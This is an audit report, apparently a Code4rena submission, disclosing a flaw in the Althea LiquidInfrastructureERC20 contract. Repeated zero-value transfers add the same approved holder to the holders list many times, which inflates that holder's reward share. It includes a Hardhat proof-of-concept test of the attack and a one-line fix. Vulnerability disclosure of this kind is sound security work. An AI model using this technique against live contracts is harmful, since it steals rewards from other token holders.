Althea Liquid Infrastructure - Brenzee's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145

Vulnerability details

Impact

Because of incorrect validation in LiquidInfrastructureERC20._beforeTokenTransfer, an attacker can add a different approved holder multiple times to holders list by making 0 value transfers. This will allow the attackers to receive more (steal) rewards when they are distributed.

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(isApprovedHolder(to), "receiver not approved to hold the token");
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        // @audit-issue This check is not sufficient. This allows to 
        // add the same holder multiple times
        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }
    }

Proof of Concept

This is exploitable by 2 attackers working together. In this example Bob and Alice are the 2 attackers.

Bob and Alice are both successfully approved by the protocol, which allows them to interact with the system.

Bob gets some amount of LiquidInfrastructureERC20 tokens minted to his address. For the simplicity lets assume that only Bob holds the tokens, which means that the holders array has only Bob.

Bob knows that if he does LiquidInfrastructureERC20.transfer(alice, 0) 10 times, it will add Alice to holders array, because of the insufficient validation in _beforeTokenTransfer function

        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }

For an address to be added in the holders array, to address needs to hold 0 tokens. This means that if the transfer is called X times, to address will be added into holders array X times.

After Bob does the 10 transfers, the holders array now looks like this:

[
  "bob address",
  "alice address",
  "alice address",
  "alice address",
  "alice address",
  "alice address",
  "alice address",
  "alice address",
  "alice address",
  "alice address",
  "alice address",
]

After that Alice can obtain some amount of LiquidInfrastructureERC20 tokens and when distribute is called, Alice will receive (steal) rewards as if she had 9 separate addresses.

Test for the example above

Add the following code to liquidERC20.ts test:

  it("_beforeTokenTransfer exploit", async () => {
    const {
      infraERC20,
      holder1: bob,
      holder2: alice,
    } = await liquidErc20Fixture();

    // Protocol approves both Bob and Alice
    await infraERC20.approveHolder(bob.address);
    await infraERC20.approveHolder(alice.address);

    expect(await infraERC20.isApprovedHolder(bob.address)).to.be.true;
    expect(await infraERC20.isApprovedHolder(alice.address)).to.be.true;

    // Bob gets 500 tokens
    await infraERC20.mint(bob.address, 500);

    // We should only have Bob as a holder
    const holdersBefore = await infraERC20.getHolders();
    expect(holdersBefore.length).to.equal(1);
    expect(holdersBefore[0]).to.equal(bob.address);

    const infraERC20Bob = infraERC20.connect(bob);

    // Bob exploits the system and adds Alice as a holder 10 times
    // by transferring 0 tokens to her 10 times
    for (let i = 0; i < 10; i++) {
      await infraERC20Bob.transfer(alice.address, 0);
    }

    const holdersAfter = await infraERC20.getHolders();

    // Since Alice receives 0 tokens across the 10 transfers, she should not be a holder.
    // But this will fail because of the issue in _beforeTokenTransfer function,
    // that allows to make 0 value transfers and that adds the receiver as a holder.
    console.log("holders count", holdersAfter.length);
    console.log("holders", holdersAfter);
    expect(holdersAfter.length).to.equal(1);
  });

Temporarily add the following code snippet to LiquidInfrastructureERC20.sol (helps to verify the issue)

    function getHolders() public view returns (address[] memory) {
        return holders;
    }

And run npx hardhat test --grep "exploit". The test will fail, because the holders array will have 11 addresses instead of 1.

Tools Used

Manual Review

Recommended Mitigation Steps

In the _beforeTokenTransfer add a validation to check, if the transfer is 0 amount transfer. If it is - do not add the receiver to holders.

        bool exists = (this.balanceOf(to) != 0);
        if (!exists && amount != 0) {
            holders.push(to);
        }

To verify that this fixes the issue, run the test again - it should succeed.

Assessed type

Invalid Validation